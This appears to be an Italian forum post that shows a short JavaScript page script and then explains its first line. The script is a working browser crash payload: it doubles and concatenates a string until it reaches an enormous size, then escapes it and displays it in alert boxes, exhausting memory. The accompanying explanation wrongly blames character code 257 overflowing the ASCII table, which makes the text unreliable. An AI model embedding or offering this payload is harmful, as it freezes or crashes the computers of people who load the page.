<script>
var s=String.fromCharCode(257);
var ki="";
var me="";
for(i=0;i<1024;i++)
{ki=ki+s;}
for(i=0;i<1024;i++)
{me=me+ki;}
var ov=s;
for(i=0;i<28;i++) ov += ov;
for(i=0;i<88;i++) ov += me;
alert("done generating");
var fk=escape(ov);
alert("done escape");
alert(fk);
</script>
Beh, allora...
Linea 1:
var s=String.fromCharCode(257);
Definisce la variabile "s" con il carattere ASCII corrispondente al numero immesso tra parentesi... se ad esempio fosse "65", la lettera corrispondente sarebbe "A"... la tabella ASCII è di 128 caratteri (da 0 a 127), mentre l'ASCII Esteso è di 256 caratteri (da 0 a 255)... 257 non sò quindi a quale tabella corrisponda... forse un'ulteriore estensione della tabella ASCII (fatto sta che il numero 257 corrisponde alla lettera "a" minuscola con un trattino sopra). Nella tabella ASCII seguente non è definito un numero "257": http://wwwesterni.unibg.it/dsfc/pers/zamparelli/corsi/eit03-04/ascii.htm ...
Poiché molto probabilmente il valore 257 è stato messo proprio per sforare dalla tabella ASCII Estesa, questo script dovrebbe mandare in crash un computer... con un bel loop. Non dovrebbe danneggiare il sistema, però, a mio avviso, lo dovrebbe bloccare fino al riavvio del pc.